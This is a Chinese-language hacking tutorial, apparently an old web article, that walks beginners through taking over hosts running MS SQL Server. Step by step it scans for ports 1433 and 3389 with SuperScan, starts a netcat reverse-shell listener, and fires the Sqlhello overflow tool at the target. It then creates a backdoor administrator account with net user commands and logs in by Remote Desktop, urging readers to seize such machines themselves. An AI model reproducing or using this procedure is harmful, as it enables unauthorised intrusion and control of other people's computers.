如何入侵裝有SQL數據庫的電腦主機

　　近些年來，計算機的安全性能，曾突飛猛進的上升勢頭。導致以前網絡，遍地都是的弱口令肉雞，現在早已消失的不知去向。可見其安全的提升程度，難道菜鳥抓取肉雞成為了“天方夜潭?當然答案是否定的，具體如何獲取肉雞請看下文所示!

　　小提示:肉雞是指在網絡上，已經被你成功入侵的主機，並且這台機器完全受控於入侵者的任意操作，如同本機操控一樣的直觀順手。

　　一、踩點掃描——尋找目標

　　俗話說:知己知彼，百戰百勝!這裡在網絡中攻破一台主機，也是同樣的道理，或者換句話說:擁有一款超強掃描的刺探工具，才是您能否走向入侵成功的關鍵。

　　首先筆者從網上下載大名鼎鼎的SuperScan端口掃描工具(下載地址:http://www.yezIE.com/Down/list.aspx?id=109229)，操作完畢後，雙擊解壓出來的“主程序圖標，彈出SuperScan工具操作界面(如圖1)。然後在左邊“開始IP以及STOP(結束)IP標簽處，輸入想要查找的肉雞IP網段，在選取掃描的服務。單擊右上角“端口列表設置按鈕，進入“自定義端口窗體，在“端口標簽處，輸入1433的端口數字，單擊“增加按鈕，編輯區就會出現紅色字體的1433端口，在雙擊其數字，前面會有一個"√"的標志，證明該端口已經添加完畢，然後在按照上一步添加端口的步驟，將3389端口也填入到其中。在單擊“保存按鈕，選擇端口為端口列表，會順“原路返回到主界面。在掃描類型內選擇All selected port in list單選框，點擊“開始按鈕，檢測啟動。稍等一會後，在所設立的網段中，符合要求的主機，會立刻“浮現在下方編輯區域內。

圖 1

　　二、天羅地網——監聽端口

　　既然“柔弱的主機，都已被掃描器“撕破了臉皮揭曉，接下來要做的就是布下“天羅地網，等待那些含有漏洞的目標主機“自投羅網，布置所用的工具——瑞士軍刀NC監聽。

　　為了方便本文以下講解，筆者已經將其下載到本地I盤符，然後單擊“開始菜單，選擇“運行選項。在出現的“打開標簽處，輸入CMD字符命令，並且敲擊“回車鍵，會立即彈出“命令行式對話框。在光標閃爍處敲入Dos跳轉命令，進入到NC工具所在的目錄，開始執行該軟件所提供的監聽功能，這裡輸入NC –v v –l –p 1987的命令回車，如果命令行下出現等待的“省略號提示信息(如圖2)，證明已經成功，監聽本機1987端口。

;

圖 2

　　小提示:NC軟件裡的-vv參數代表，得到更詳細的輸入監聽內容。-l代表連接端口關閉後，仍然繼續監聽。-p進行監聽本地端口，後跟數字就是所要監聽的端口號。

　　三、驅趕肉雞——進入所布下的陷阱

　　等待肉雞上門，自然不是聰明的辦法，更不知道何時，才能有主機訪問到本地布下的“網罩。所以要使用Sqlhello攻擊工具的功能，驅趕目標機器強行“重招，來加速其訪問“陷阱的效率。

　　此時，將正在監聽的命令窗體，呈最下化模式，回到Windows圖形化操作界面。然後在硬盤驅動器中，找到筆者事先下載的Sqlhello溢出工具所在目錄，你會發現與以往工具目錄，不同的是多出一個1.BAT批處理文件，其實這是Sqlhello溢出工具的執行台，在以“編輯選項的形式打開。輸入其格式為Sqlhello 目標主機IP 1433 本機IP 監聽端口的命令(如圖3)，單擊右上角“關閉按鈕，保存其文件內容結束。操作完畢後，再次雙擊1.BAT批處理文件，會快速的閃過DOS命令窗體，可見該批處理已經操控著Sqlhello工具，開始溢出攻擊了。然後回到還在監聽的NC命令窗體，等待的省略號已經變為了系統的SHELL，這也正是遠程主機的命令控制台。

圖 3

　　小提示:SHELL是操作系統的最外層，管理著你與操作系統交互、通訊、執行等工作的操作，假設你已經得到了對方的SHELL，也就代表著你擁有了與對方計算機直接溝通、下達命令的平台。

　　在其命令行下輸入Net User Administrators Wenpeng 123456 /ADD的命令，就可以建立一個屬於自己名為“Wenpeng，密碼是123456的普通帳戶。在將所建用戶的權限提升為管理員，敲入Net Localgroup Administrators wenpeng /add命令回車，即可提示命令成功完成的內容。最後使用本機自帶的遠程終端軟件，敲入剛才溢出的IP以及建立/提升的用戶，進行“遠程連接登錄，稍等片刻後，屏幕會立即出現非常直觀的肉雞桌面(如圖4)。

圖 4

　　可見目前已被攻破的主機，在讓筆者任由“擺步的同時，還可以像操作本機一樣得心應手。相信這樣理想的肉雞，您一定不會錯過。何不一同依照本文所提供的方法，來獲取自己“夢寐以求的肉雞呢?